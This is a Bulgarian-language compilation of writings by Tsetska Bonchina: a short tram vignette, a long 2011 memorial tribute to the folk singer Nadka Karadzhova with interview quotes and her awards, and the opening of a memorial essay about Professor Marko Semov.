Незрящият с бавна, но почти отработена стъпка достигна до стартовата точка на своето безкрайно пътуване. Внимателно се опря до ръждясалата врата на ватмановата кабина, повдигна леко глава, за да огледа множеството в „концертната зала”. Жадуваше то да бъде благодарната му публика за поредното спасително пътешествие от началото до края на скрибуцащото превозно средство. Повечето от „зрителите” в „концертната зала” бяха свикнали с концертите на „слепеца” и приемаха за обичайно, едва ли не за благотворително поредното му появяване в трамвая.
През първите няколко стъпки от концертното му пътешествие нито стотинка не капна в чашката му. Когато, за да продължи напред, опипа уж случайно, поредната пътничка, изпречила се на пътя му, жената избухна:
„Кретен полусляп!…Не виждаш, просиш, а опипваш само жени!…Мъжете виждаш, а?…Не ги докосваш!…Махай се оттук! Нахален симулант!”
Пикантната сценка привлече вниманието на повечето от пътниците, а по-благосклонна българка се смили над „музиканта” и го посъветва:
„Иди пред Парламента! Посвири на Президента, на богатите! Те не са тук. Няма и да бъдат. И едва ли подозират за теб! Иди!…Иди там!”- настояваше пенсионерката, но очевидно богата реститутка, което си личеше по аристократичния й тоалет, лакираните нокти и ярко начервени устни. И тихомълком се оплака пред приятелката си, че „трябваше да си вземем такси, вместо да пътуваме в тази лудница!”
Защото никой не им стори място да седнат, макар че в трамвая пътуваха и доста млади хора.
„Реститутки, тръгнали на парти! – ядоса се седящ близо до тях младеж, тръгнал за десетчасовото си стърчене зад плота на нощен столичен бар. – И можеше да му пусне една монета” – сподели пред приятеля си, който наблюдаваше с безкрайно любопитство набързо слезлия от трамвая „незрящ музикант”.
Трамваят наближи „Солунска” и рязко спря. Немощна старица с усилие достигна платното, съпроводена от ироничните погледи на слизащите след нея две млади столичанки, на път за близкото кафе. От ъгъла ги атакува мръсен, дрипав младеж с вонящи дрехи:
„Госпожо, дай 20 стотинки да си купа нещо за ядене! Гладен съм! От два дни не съм ял! Дай, молъ ти се!…Дай 20 стотинки, ма!…Имам болно братче и сестриче, не са яли от два дена” – усилваше се блясъкът в изнанадващо злобния поглед на младия ром.
Доловила у младежа ненавистта към по-нормално живеещите от него, столичанката реши да я провокира докрай:
„Дай ти на мен 50 стотинки! И аз днес нямам пари.”
Ромът я блъсна и подскачайки, избълва:
„Е..а ти изрода!”
И се насочи къмследващата спирка, да търси други състрадателни „изроди”.
"
-
Едно от нея за Надка Караджова (от 2011 година):
"В памет на великата Надка Караджова
На 3 януари 2011 г. тя ни напусна и премина в по-добрия свят. С много мъка и обич ще споделя онова, което имах честта да напиша за нея в книгата си „Обществото на Човеците“ след незабравимите ми срещи с нея:
„Аз се гордея, че съм Българка и дадох своя скромен принос в историята на българската култура. Гордея се, че съм потомка на Орфей и разнасям славата на уникалната ни народна песен по света…народната песен е моето верую, моята съдба, моят Бог…!“
Тя е славеевият глас на България. Изпяла е неповторими шедьоври на българския фолклор, с което е прославила Родината си във всички континенти. Често я питат откъде се зарежда?
„От Космоса!“ – отговаря тя.
„Раснала съм в люлка от песни – реди спомените си божественият глас на България. – Дядо ми, Кръстьо Караджов, с песен е излизал от дома, с песен се е връщал…Само това мислех, само това мечтаех – да пея, да пея и пак да пея.“
И възможно ли е такава обич и жажда за песен да не бъде възнаградена! Пръв забелязва Надка Караджова флагманът на българското фолклорно изкуство – Филип Кутев. Тя е само на 15 години, когато като ученичка в Пазарджик участва в конкурси на художествената самодейноств Пазарджишка околия, Пловдив и София. Филип Кутев я кани на конкурс в гр. София, където талантливата девойка от с. Три водици печели първа награда – 500 лв. и национална фланелка. Това събитие г-жа Караджова си спомня в мартенската първа пролет на 2004 г. след половинвековна творческа слава.
„Това събитие беше за мен сбъдната мечта“ – признава голямата певица. А още през 1951 г., когато е сформиран ансамбълът, девойката го слуша в зала „България“ и мечтае да бъде „в тази прекрасна огърлица едно мънисто“.
През 1953 г. фолклорната изпълнителка е на своето първо турне в Чехословакия – ансамбъл „Филип Кутев“ гостува на „Пражка пролет“. През 1955 г. предстои турне в Сирия. Големият композитор е впечатлен от певческите й възможности и талант и Надка Караджова е сред седемте певици на ансамбъла, поканени да пътуват за Сирия. Следват турнета в Англия, Франция, Белгия, Холандия. Българските емигранти ги следват навсякъде и плачат от умиление и възторг.
„Обичам България и никога няма да остана да живея другаде! – категорична е певицата, когато следва обичайният въпрос имала ли е желание да напусне родината си. – Това чувство все още се таи у мен. Аз се радвам, че пея за тях /емигрантите и чуждата публика – бел. ав./, но съм щастлива, че ще се върна отново в моята България. Не мога да живея никъде другаде, освен в Родината си. Българите преоткриват винаги нашето изкуство и казват „Добре, че сме в чужбина, за да опознаем нашето си изкуство!“
Надка Караджова завинаги е съхранила скъпи спомени за обичащи и обожаващи я ценители от цяла България. В с. Варвара, Пазарджишко, преди доста години, в болницата, когато майка ражда нов живот, звучала песен на обичаната певица – „Драгана и славея“.
„Оле…Божичко…Та това е Надка Караджова!“ - възкликнала тогава младата майка…След години поканила своята любимка на сватбата на дъщеря си, родена сред магическите звуци на незабравимата й песен.
„Скъпа Надя – гласяло писмо на друга почитателка на певицата, – плета дантела. Толкова много Ви обичам, че вплитам в дантелата цялата си обич към Вас!“
Толкова много почитатели обичат и се възхищават на Надка Караджова, че почти ежедневно я поздравяват в трамвая, целуват й ръка, поднасят й цветя при внезапни срещи с нея, дори те да са предназначени за други любими хора. Срещат я гостуващи групи от провинцията и изразяват спонтанно желанието си да увековечат със снимка срещата си с голямата народна певица.
„Човек трябва да бъде всеотдаен, да не пести добротата си – продължи певицата нашия разговор. – Българинът е много добър човек. Трябва да получи много малко, за да даде десет пъти повече от себе си. А талантът е злато, което блести дори в калта!“
За Надка Караджова кумир в музиката е оперната ни прима Гена Димитрова. Ето един скъп за народната певица спомен от Виена:
„Пазя скъпа снимка с Гена Димитрова във Виена. Бяхме поканени от българското посолство да изнесем концерт по случай националния празник на България – Трети март. На концерта присъстваха около 500 чужди посланици, поканени за празника. Гена Димитрова пя след българския квартет „Славей“. След изпълнението ни всички искаха да ни видят отново, да ни докоснат, да ни се порадват. Тя наблюдавала всичко това и независимо от своя неимоверен успех на сцената, когато предстоеше концерт в дом „Витгенщайн“, ни предупреди: „Сега аз ще пея преди вас!“…
Но въпреки това предупреждение, когато квартет „Славей“ запява „Слънце зайде“, Караджова видяла сълзи в очите на оперната прима и сред своята публика.
В Италия, в гр. Бари, двете велики майсторки на песента взаимно се наслаждават на изкуството си. Бисират ги и двете по време на концерта. Отново пеят заедно и с голям успех в Москва, в „Колонната зала“. Надка Караджова с интерес и вълнение следи творческата кариера на оперната певица, започнала славния си път на голямата сцена като народна певица.
„Тя е най-голямата!“ – изрича в заключение Караджова за любимката си.
Не по-малко обича и се възхищава на ангелския глас на Андреа Бочели, от голямата артистичност на Райна Кабаиванска, слуша в захлас „Тримата големи“ – Лучано Павароти, Пласидо Доминго и Хосе Карерас.
Попитах певицата как успява толкова години да съхранява и пази свежестта и силата на уникалния си глас.
„Е, на Шаляпин нищо не му е пречело, но той е рядкост“ – беше лаконичният й отговор. И въпреки това – добрият сън и самодисциплоната са решаващи за нея преди вълнуващите й концерти.
България е от малкото страни, може би единствената, която „пенсионира“ своите творци. В деня, когато съпругът на Надка Караджова я пенсионира по документи, тя е на двумесечно турне с хор „Ангели“. Предстои й да шества по концертните зали на Европа в 55 концерта. А когато турнето приключва, неуморната певица решава да продължи със своята любов – сцената, песента, многохилядните почитатели.
През м. април 1991 г. тя създава Женски фолклорен квартет „Славей“ – една китка от изтъкнати изпълнителки, най-добрите гласове на България в партиите сопран, мецосопран и контраалт. Това са чудотворните гласове на Надка Караджова, Светла Караджова, Лиляна Галевска и Стоянка Лалова – няколко поколения солистки от Държавен ансамбъл /ДАНПТ/ „Филип Кутев“. С перфектните си многогласови изпълнения квартет „Славей“ се характеризира с неповторима звучност и хармония. Всяка песен е пресъздадена с ненадминато майсторство, с голяма техническа точност, с много топлина и любов.
Коста Колев прави първите песни на квартета. Изпълняват творби на Александър Йосифов, Димитър Трифонов, Константин Шопов, Иван Кирев, Диди Кушлева /дъщеря на Росица Кушлева от дует „Сестри Кушлеви/.
Филип Кутев често казвал, че е лесно да се пее в хорова формация, а най-трудно е да пееш в камерен състав. Но тази проверена в изкуството теза не плаши ни най-малко големите солистки, защото са проверени във времето как биха звучали камерно. И магията се получава, защото гласовете им се сливат толкова добре, че всяка чува дъха на другата до себе си. Перфектни са и чувството за еднаквост в звученето, и чувството за динамика. Често им казват, че наистина правят магия с гласовете си, а това е тяхната цел – да достигнат най-бързо до сърцата на хората.
Най-щастливи са певиците, когато ги аплодира просълзената от тяхното изкуство, вярна и предана публика. Неведнъж са ги питали след двучасовите им концерти – откъде е издръжливостта им? И както сподели и г-жа Караджова, зареждат се от „Космоса!“ Безбройни са епитетите, с които ги дарява благодарната им публика. И никога няма да забравят четирите изпълнителки думите на японския професор Шожи Ямаширо, който след техен концерт признателно възкликнал: „След като чух музицирането на квартет „Славей“, вече мога спокойно да умра!“ В „страната на изгряващото слънце“ е учреден Клуб на приятелите на квартет „Славей“.
„Те често ни питаха – споделят изпълнителките, – „Знаете ли, че сте много популярни в Япония?“ И това ни доставяше голяма радост и гордост, че сме популяризирали българската народна песен и българската култура в далечна Япония. Там са пословични със своята точност, но японската публика толкова много ни аплодираше, както и самите организатори и признаваха, че чудо като съвършения квартет „Славей“ от България не са чували.“
Квартет „Славей“ е символ на истинската музика, красота, чистота, музикална култура и артистичност. Той се грижи за народната песен като за цвете, което трябва да поддържаш и да достигнеш с него до сърцето на публиката. Чужденецът-слушател не разбира текстовете, но мелодията го принуждава да потръпва от възторг. Често пъти след концерти те се доближават до изпълнителките и вдигат ръкави, за да ги уверят, че са настръхнали от прекрасното им, необикновено музициране.
Квартетът покорява и италианската публика, която след концертите им възкликва: „Вие сте като слънцето! Вие огряхте нашите души – благодарим ви! С вашите гласове човек се пренася в отвъдното!“
След концертите им по цял свят мъже и жени на различна възраст целуват ръцете им. За французите те са „прекрасни, фантастични, уникални!“
„Чрез вас, вашите песни и уникалните ви изпълнения, ние обикнахме България!“ – признават чуждестранните им почитатели от Франция.
Вече 13 години /понастоящем почти 20/ квартет „Славей“ се радва на забележителни успехи в България и по всички кътчета на света. Япония, където самата Надка Караджова концертира шест пъти /след 2004 г. още десетки пъти/, квартетът посещава два пъти /до 2004 г./, двадесет пъти концертират във Франция /до 2004 г./, посещават Израел, Босна, Херцеговина, гостуват няколко пъти в Чехия, представят българското изкуство в Швейцария, Германия, о-в Корсика, Испания, Австрия, Гърция, Кувейт и др.
Едно от най-големите признания за силата и въздействието на изкуството на квартета е поканата за гостуването на магическите гласове на Надка Караджова, Светла Караджова, Лиляна Галевска и новото уникално попълнение – Марияна Павлова /номинирана в класацията за „Гинес“ като „най-ниският контраалт в света“/ във Ватикана по повод 40-годишнината от подписването на Договора за обединение на църквите от Изтока и Запада. На 15 ноември 2004 г. ортодоксалните песнопения на българските славеи в папската резиденция „Росса ди папа“ довеждат омагьосаната публика до медитация, а българските народни песни я вдигат многократно на крака с бурни аплаузи и възгласи:
„Белисимо!…Белисимо!…“
Незабравимо ще остане и за певиците, и за очарованата публика на Ватикана изпълнението на специално композираната за квартет „Славей“ и колегите им от квартет „Ивиолан Унита“ пиеса. Думата „обединение“ се пее на няколко езика, включително и на български. По време на концерта в „Росса ди папа“ в залата присъстват висши духовници от католическата и православната църква, 24 кардинали, архиепископи и други висши духовници от всички националности по света. С всички тях квартет „Славей“ се среща след концерта и отново прозвучава „Белисимо, белисимо…белисимо…!“
Надявам се, че следващите редове представляват своеобразно огледало на душевността и житейската философия на голямата ни изпълнителка, която разкрива своя истински мир толкова искрено, колкото са искрени и сълзите в очите на многобройната й публика.
Неотдавна в зала 11 на националния дворец на културата се записвал компакт-диск, за който солира Надка Караджова. С хор „Космически гласове“ тя изпълнява песните „Тих вятър вее“ и „Калиманкината“ на композитора Красимир Кюркчийски. Продуцентът на кампакт-диска споделил: „Наблюдавах те дълго…Ти имаш някакъв ореол над главата си!“ Същите думи озадачили певицата, когато ги чува за втори път от водещ в предаване по „Канал 2001“: „Ти имаш ореол над глават си! Бъди щастлива! Да си жива и здрава!“ …Може би този ореол пази за нас и за наследниците ни магическото присъствие на Надка Караджова в живота ни и го прави по-красив и по-богат.
Когато гостува в Лондон с трио „Българка“, сестри Бисерови и родопския певец Румен Родопски, тя е „…великата Надка Караджова, която с гласа си е като лавина, събаряща всичко срещу себе си, когато запее!“
Гастролира в Южна Корея, Виетнам, Йордания, Турция, Ливан, Индия, Исландия и много други страни. И навсякъде е проявявала всеотдайност, издръжливост и сила, за да изгради и съхрани едно здраво наследство. Четиридесет години Караджова пее в хор „Филип Кутев“, почти двадесет в квартет „Славей“, четири години в хор „Космически гласове/, три години в хор „Ангелите“, пее и в хор „Дъщерите на Орфей“.
Осъществила е няколкостотин студийни записи в БНР, девет дългосвирещи грамофонни плочи /до 2004 г./ в Балкантон, много видеофилми по БНТ.
През 1988 г. за Буенос Айрес – Аржентина, пътуват 24 часа от острови „Огнена земя“ почитатели на българските магьоснички от „Славей“, за да слушат концерта им, в който те пеят по-старите си песни, които помнят аржентинците. И се връщат на 1000 км. от Буенос Айрес, за да ги чуят отново. А били възрастни хора между 60 и 80 години.
„Разплакахте ни със сълзи от българска кръв!“ – изричат смаяните почитателки пред своите любимки.
През 2001 г., когато започва войната в Югославия, за откриване на изложба на българската книга в гр. Лайпциг, Германия, канят за участие отново квартет „Славей“, заедно с Лайпцигската филхармония. Там българският състав трябвало да изпълни само една песен.
„В тягостното настроение, което цареше тогава, изпяхме „Отче наш“. Плисна дъжд от аплаузи!…И тогава се наложи да изпълним и втората си песен „Замръкнала е хубава Яна“…В камерната музика и сам воинът е воин“ – заключава световната любимка.
Със затрогваща искреност певицата споделя:
„Приоритет в моя живот беше моята професия като народна певица, която така ме обсеби, че семейството ми беше на втори план, та дори и детето ми, което бе отгледано от майка ми Мария, моя брат Данчо, снаха ми Йорданка и моя съпруг Стефан. Цял живот не бих могла да им се отблагодаря, защото правеха всичко възможно, за да пътувам по света и да творя. В това най-силно се целях. Макар че няма възраст, в която човек започва да планира живота си, достатъчно е да има сили и възможности да го живее достойно. Но никой от нас не би могъл да овладее до съвършенство изкуството да живеем, защото много неща не зависят от самите нас. Ние сме същества, над които има свръхсила, която ни управлява.
В моя живот „златните правила“ бяха: уважавай ближния си, никога не наранявай, за да не те наранят! Дисциплината беше на първо място, защото без нея нищо не можем да постигнем в живота. Понякога ми се е случвало да не мога да взема важно решение, но до мен винаги е имало хора, които са ми били опора и са ми помагали в това отношение.
Като най-важно постижение в живота си считам реализирането ми като творец в областта на народната музика и фактът, че съхраних симейството си в продължение на вече 48 години. Добре възпитах дъщеря си Светла, която също успя да се реализира в професията като преподавател в Софийския университет и като народна певица, с която заедно популяризираме българското изкуство по света.
Най-голямо щастие изпитах, когато получих писмо за приемането ми като изпълнителка в държавния ансамбъл „Филип Кутев“; когато се родиха внуците ми; когато купих първото пиано на дъщеря ми. Това са върховните мигове в живота ми.
Имала съм и разочарования. Особено когато трябваше да се разделя с хор „Космически гласове“, в който самата аз привлякох най-добрите певици, с които постигнахме наистина космически върхове в нашето изкуство. Още по-силно бях разочарована, че след напускането на още десетки певици от този хор, вече няма и следа от онова, което бяхме създали с толкова любов.
Моята философия за живота гласи: „Никога не гледай кой какво говори, а гледай кой какво върши!“ Лоялността днес е рядкост, но смятам, че все още съществува. Била съм и наранявана в този живот, макар и с неголяма сила. Но отмъщение! Пази боже! Дано не ми се случва и да помисля за него! Омразата е като бумеранг, затова тази дума ми е чужда, а чувството – не особено познато. Обидата приемам много болезнено, защото много внимавам в живота си да не обидя някого. Това качество е възпитала у мен майка ми Мария, която за мен беше светица. Изпитвала съм и неблагодарността на хора, на които съм помагала, но съм се държала винаги човешки и с тях, докато един ден се убедят, че не са били прави. И им отговарям с добро. Много пъти съм правила жестове и съм се старала да останат незабелязани. Дори неприятел да поиска мнението ми за нещо, съм готова да му го дам с усмивка, за да му докажа, че съм по-силна от него. Разбира се, не ми е приятно и ласкателството. Но искрените и истински поздравления, които са чести прояви на възхищение от нашата професия, винаги са ми давали криле.
Силата на човешкия дух може да бъде съкрушена, когато не те оценяват за онова, което даваш с цялото си сърце от себе си или когато обичаш, но не си обичан.
В живота си съм контактувала и съм познавала само земни хора, които не са били гении, но са Човеци с главна буква. Когато попадам в обкръжение от умни хора, винаги гледам да науча нещо повече от тях, да купя ум и не се старая да продавам ум, за да не изпадна в неловко положение.
Никога не съжалявам за вчерашния си ден, защото моят девиз е „Гледай напред и никога не се обръщай назад!“ Съгласна съм обаче, че за някои хора промяната води към прогрес, но не и при мен. Нито в професията ми важи това, нито за семейния ми живот. Но ентусиазъм никога не ми е липсвал, а той почти винаги води до успех. И това, което съм постигнала, ми е предостатъчно. Не желая нищо да променям в живота си. Благодарна съм на съдбата си и за нищо не съжалявам. Благодарна съм и на всеки, който ми е подал ръка в живота. При всички възможни случаи съм се отблагодарявала. Но най-много бих искала да благодаря на Човека, на твореца, композитора, Апостола, на патриарха на народната музика в България – Филип Кутев, който ме откри като талант и ми даде възможност и хоризонти да творя и да стана това, което съм.
На мен ежедневно благодарят хора, до чиито сърца успях да достигна с моите песни и раздадох радост за душите им – това беше най-доброто, което дадох от себе си. Смятам, че всеки би могъл да подобри обстоятелствата в живота си към по-добро, ако се съобрази с максимата „Не прави това, което не би искал другите да направят на самия теб!“ И тогава ще имаме уважението на хората, на което и място в служебната и социална йерархия да се намираме. Тогава постът и уважението ще бъдат еднакво важни, ще вървят ръка за ръка.
Но едва ли човек може да достигне до съвършенство в професията си, защото пътят към него поддържа живота и е непрестанен път, без който сме загинали. И колкото и съвършени професионално да бихме се чувствали, не бива да разчитаме единствено на постигнатата слава. От нея до глупостта има само една крачка, което я прави твърде крехка и трябва да я отглеждаме и да се доказваме всеки ден. Не се успокоявам, когато нещата в живота ми вървят подозрително лесно. Нали все пак в природата има равновесие и след всичко хубаво почти винаги следва някакво затруднение. Но по-щедрите хора по-философски приемат живота си и преживяват страданията си. А моето определение за почтеност е да бъдеш честен, откровен, доброжелателен. В живота си нямам дълбоко скрита тайна, която бих могла да споделя, защото той е като на длан. но ако имам такава, бих я споделила с най-скъпото си същество – моята дъщеря.
Не смятам, че съм научила всичко, защото човек цял живот се учи, но бих искала да зная този наш български народ кога ще започне да живее по-спокойно и по-достойно!“
Най-ценните блага в живота на Надка Караджова са здравето, достойнството, почтеността, любовта…
А след 56-годишна звездна слава най-сигурното пристанище до края на живота й беше семейното гнездо!
Една земна звезда се откъсна, за да остане завинаги в небосклона!
Наградите на Надка Караджова, получени през 50-годишната й творческа дейност: /до 2004 г./
1955 г. – Световен младежки фестивал – Варшава, Полша: Златен медал и Лауреат на фестивала;
1967 г. – Орден „Кирил и Методий“;
1968 г. – Световен младежки фестивал – София: Златен медал и Лауреат на фестивала;
1975 г. – Приз „Братислава“;
1979 г. – „Заслужил артист“;
1986 г. – „Народен артист“;
1987 г. – Орден „Народна Република България“ – по случай 50-годишния юбилей на певицата;
1982 г. – Второ място в топ-класацията на Би-Би-Си- Англия;
1996г. – „Златно перо“ – От Министерство на просветата за високи постижения във фолклора;
1997 г.- „Златна лира“ – От Съюза на музикалните дейци в България по случай 60-годишния юбилей на певицата;
1998 г.- Орден „Стара планина“ – от Президента на РБ Петър Стоянов;
Международни награди от Судан, Сирия, Югославия.
Композиторът Стефан Драгостинов – приятелски за Надка Караджова
Почитта и възхищението си от Надка Караджова, неговата близка приятелка, която композиторът нарече „короната на фолклорната ни музика“, Стефан Драгостинов изрази в близо тричасовото ми интервю, повод за което беше именитата ни народна певица:
„Не зная кое е по-голямото у Нада – дали певицата, дали личността, дали приятелката…Господ й е излял гласа като едно чудо. При нея няма умора. Попаднала във великолепна среда на хора можещи, знаещи, водещи като Филип Кутев и съратничка като вълкана Стоянова, там става омесване на глас, талант, трудолюбие, професионализъм и почтеност. Нада се е изградила така хомогенно, че е като една непоклатимост и е запазила всичките си чудесни качества. Винаги съм харесвал и оценявал нейната отзивчивост. Тя е тип работохолик. В нейно лице винаги съм имал партньорство, вслушване, но същевременно и опозиция и, разбира се, градивна.
Щастливи са моите спомени с нея от Япония /1989 г./ Тя беше първа солистка и върхът на нашите песни беше „Планино, Стара планино!“ Тя поднесе автентичния вариант на тази моя песен. Нашите певици „отгледаха“ този шедьовър.
Тогава нашумелият Марсел Салие сподели:
„Това е най-високото нещо, което съм чувал!“
Пътувахме с нашето изкуство в Осака, Токио, Киото, Нагазаки…Навсякъде следваше дъжд от бисове. А тя пее и не се уморава – пее още и още…
Силно ме привлича отношението й към родовата традиция. Тя създава един чудесен творчески семеен екип. В лицето на дъщеря си Светла, Надка Караджова има своята следовница в създадения от нея квартет „Славей“. А съпругът й Стефан Костов, отличен акордеонист, е щастлив с толкова красиви и великолепни жени около себе си. Те всички представляват за мен един малък ансамбъл „Караджови“. Екип за песни и танци, в който своето място има и танцьорът Йордан Иванов – съпругът на Светла Караджова, със своя незаменима аура на сцената.
Бисерът в короната е великолепният глас на Нада. Тя е перфектна певица във всички области – пее странджанско и шопско, та се къса, тя – пазарджишката певица. Тук съзирам и голямото превъплъщение на нейното сърце. Това е глас Божи!
Някога това 15-годишно момиче е прегърнало предано своя бъдещ свят. Безспорно тогава не е била съвсем наясно какво всъщност е сторила. Бавно и постепенно, ритуално е изкачвала стъпало след стъпало – като в пирамидите. Изминала е славно целия този път, а стъпалата е изкачила преди повече от 20 години /интервюто е взето през 2004 г. – бел. ав./
А са нужни колосални усилия, за да останеш на върха. Но нейната перфектност на своеобразен гуру като че ли й спестява това усилие. Или то не е лесно забележимо.
Личността й е толкова нависоко, че човек трябва да се взре в тези скъпоценни качества и да ги оцени по достойнство.
Нада е много творчески сговорчива личност. Бих искал дълбоко да подчертая родовото осмисляне на дългогодишното й изграждане. В съвкупност на равнопоставени да бъдеш най-първият, без да го налагаш и то в маститото съсловие на певици и певци – това е плод на дългогодишно възпитание и добра колегиалност. Дъщерята на Нада – Светла Караджова, като преподавател в Софийския университет продължава традицията и я разпространява сред учениците си.
В стила на Гарсия Маркес бих казал: „Школата Надка!“ Тя е великолепен интерпретатор, много бързо се превъплъщава, понася идеята, омесва я чрез собственото си усещане и получаваме ново произведение, поднесено ни от нея…
Тя може много! А връх не се надстройва! Нада има тези възможности да катери нагоре. В академичното ни общество са нужни знания, даващи предпоставка за добра реализация. Нада е изминала целия този път към висшия академизъм с нейното трудолюбие.
Като я видя на сцената, за мен започва процесът на релакса!“
Българският фолклор – нашето непреходно национално богатство, навсякъде по света е посрещан с бликащ възторг и преклонение.
Надка Караджова е най-истинското олицетворение на това богатство, което ще съхрани и за необозримото бъдно нашия непреклонен дух, творчески порив и дълговечна култура.
5 януари, 2011 година
В памет на великата Надка Караджова!
ЦЕЦКА БОНЧИНА"
И малко от Пенка Танчева:
"Господи защо бързаш и прибираш такива хора толкова рано. Сигурно ти трябват ,но и на нас тук на земята ни трябват. В тези бездуховни , безпътни времена те са ни ориентир. Ориентир към към всичко човешко и добро, към мястото ни тук на земята, към красотата. Чуеш ли този божествен глас няма как да не станеш по-добър, по щастлив и духовно по-богат ПОКЛОН, ДЪЛБОК ПОКЛОН КЪМ ГОЛЯМАТА, ОБИЧАНА И НЕЗАБРАВИМА НАДКА".
-
Следващото от нея е за професор Марко Семов (от 2011):
"В ПАМЕТ НА ПРОФ. МАРКО СЕМОВ
17 –ти януари! На тази дата преди три години приятели ми се обадиха по телефона с покъртителна вест – починал е проф. Марко Семов! Днес, отново 17 януари, три години след онзи тежък ден на 2007 г., прелиствам отново парещите страници на последната му книга „И те са като хората”, издадена посмъртно от университетското издателство „Св. Климент Охридски” и Фондация „Проф. Марко Семов”. Огнени, убийствени слова за „Сбогом” от приятели, истински българи, към най-истинския българин на нашето време!
Но не удържам сълзите си…Те се сриват върху страниците и бележат мъката на най-обикновена българка, която имаше привилегията да се докосне до духовния първенец на нацията ни, до човека, който живя за България и си отиде, пишейки с болка за нея, един писател с огнена словесност, един „Апостол на българщината и бъдещето”, както го нарече проф. Дойно Дойнов, председател на Общонационален комитет „Васил Левски”. А за мое велико щастие – и кръстник на скромното ми перо.
Имах кратки, но паметни срещи с него. Преливах от гордост, че го познавам. И пред моите приятели, и пред собствената ми майка, която благоговееше пред образа на един свой любимец на телевизионния екран. Случайност беше, или не, точно на рождения ми ден преди седем години се срещнахме пред „Галерия за чуждестранно изкуство” в столицата, за да му предам поредния си ръкопис. Професорът ме поздрави, като на първа страница на вече съкровеното ми лично тефтерче, написа:
„Цецке, пътят на словото е по-дълъг от човешкия живот. Желая твоето слово да надживее пра-, пра- и още правнуците ти!”
Каква разтърсваща игра на съдбата! Тези думи се оказаха пророчески за собствения му живот. Седем години след пожеланията, отправени към мен, неизвестната авторка, те бележиха всъщност неговата съдба. Защото една година след кончината на великия българин се оказа, че в близо 60 страни по света познават името на най-обаятелния балканджия с бунтарска кръв, роден в прекрасния Троянски балкан, някъде в Югоизточна Европа…Отрезвяващото му, респектиращо слово убедително си беше гарантирало живот далече напред в неизмеримото време , след неговите „пра-, пра- и още правнуци”!
Всичко започна в един великолепен, слънчев ден. Животът ме беше „интегрирал” в обществото на вестникопродавците. Осъзнала бях смисъла и ценните поуки от борбата с него, от самотата, от безпомощността, сблъсках се с убийствената заплаха на обедняващия дух, с „могъщата сила на вярата” и с „най-стимулиращия дар – надеждата”, родена в най-съсипващия дом – отчаянието. Всичко това бях преживяла в моя първи ръкопис на „Див, разцъфнал трън”. Седмица преди онзи далечен слънчев ден го бях оставила, адресиран до проф. Марко Семов, във Факултета по журналистика на СУ. Защото най-голямата мечта на живота ми беше любимецът на моите скъпи родители и мой кумир да представи първата ми книга! Приятели възприеха тази мечта за безумна и невъзможна. Реших да опитам с цената на толерантността на един обаятелен българин и на моята упорита вяра. Тогава ми помогна охулваният, въздиган и отричан, „фатален”, както сам той се зове, Фридрих Ницше:
„Последва продължително скитничество, дирене, непрестанни промени, вътрешна съпротива срещу всеки застой, срещу всяко плоско и повърхностно потвърждение и отрицание, но успоредно с това и режим и дисциплина, улесняващи духа колкото е възможно повече да стигне надалеч, да литне на възбог, най-вече да не спира полета си. Един живот, сведен наистина до минимум, освобождаване от всички долни нагони, независимост насред външни враждебни сили от всякакъв вид, заедно с гордостта, че можеш да живееш въпреки тази враждебност…Самият живот ни дава награда за несломимата воля за живот, за подобна дълга война, която водих тогава със себе си против песимизма на житейската умора…А накрая той ни се отплаща с големите си дарове, може би с най-големия, на който е способен…”
За мен, родена в забравения Северозапад, този невероятен дар беше срещата ми с професора от с. Видима – Марко Семов…Не вярвах, че го заслужавам! В онзи усмихнат ден на късната есен, повече от случайно, но невярвайки, че има случайности в живота ни, го видях да влиза в сградата на Полиграфичекия комбинат. Понякога, в изключителни мигове, съдбата наистина ни дава непредвидени, символични знаци. И както казват мъдрите – от нас тя изисква само да ги дешифрираме. Нямаше да си простя цял живот, ако изпуснех този момент. Затичах се като наивен малчуган към вратата, тогава несъзнавайки, че се провиквам, изричайки насред улицата името на един духовен гигант:
-Господин професоре…! Господин професоре…! – крещях, тичайки към изненадания човек. Той спря, изчаквайки някаква налудничава, която крещеше името му. Но я дочака с усмивка…С тази усмивка ще го помня цял живот! Представих се, но едва изрекох името си – топка заседна на гърлото ми от вълнение и щастие. Сигурна съм, че в своята дълбока мъдрост професорът е съзнавал и прозрял това.
-А, Вие сте онзи цъфнал трън, нали? – със загадъчната си усмивка, шокиращо за мен, светкавично отреагира професорът. Шокиращо беше, защото помнеше заглавието на бъдещата ми първа книга…На някаква непозната, която още не беше виждал!…Сред ада от знания, които изпълваха живота му.
…Подобен сценарий, уж случайно, а изкусно подготвен от съдбата, е труден за възприемане. Но го пише нашият живот, който в пътя си компромиси не допуска.
Уговорихме първата ни среща в кабинета му във Факултета по журналистика на СУ. И този ден ще остане паметен в живота ми. Както и всички останали срещи с него….Успокоих след дълго време пулса си, вече хвърчейки към дома.
* * *
Подарих на читалищната библиотека в родното ми село Гаганица излезли последователно от печат няколко нови книги на крупния писател. Подарих ги и на майка ми. Едва ли в селото, забравено от хората и Бога, някой четеше престарелия фонд на скромната селска библиотека, която въпреки едно безумие, беше оцеляла. Но съм готова да застана насреща, ако някой дръзне да твърди, че в едно затънтено селце в най-изостаналия, северозападен край на България, обявен някога от скудоумни управници за „затихващ”, а сетне докарали го до наистина затихнал, селянинът не изпитва нужда от терапия за душата си. Оказа се, че в тъмните доби на България духовно просветление днес може да внесе единствено душевед като проф. Марко Семов. Беше им нужен, за да ги защити, да брани изконната им любов и вярност към родния край, да им внуши достойнството и решимостта да се гордеят, че са българи и да отстояват пред света националната си идентичност.
За мен беше и изненадващо, и странно, и мило, и похвално, че в един кратък период, превърнал се сякаш в ренесансов за родното ми място, книгите на професора се предаваха с мистична тайнственост от ръка на ръка и като че ли лекуваха душите на българи, преживели историята на България през прехода между два не, между три века. Забравени, примирени до такава степен, че вече не съзнаваха значението на думата „отчаяние”. Свели своя бит до кратки срещи с мъртвите близки в селското гробище и покупка на насъщния. А държавата ни упорито отказва да бъде чувствителният индикатор, улавящ житейските нужди на поданиците си.
Проф. Марко Семов, творецът, който така искрено и дълбоко страдаше за бъдещето на своята нация и й посвети цялото си творчество, сякаш възроди със словото си духа на най-истинските българи, провокирайки може би у най-верните, най-предани, най-искрени и благодарни читатели позабравеното чувство на гордост и национално самосъзнание. Страниците на книгите му прелистваха хора с увредено отдавна зрение и потрепващи ръце.
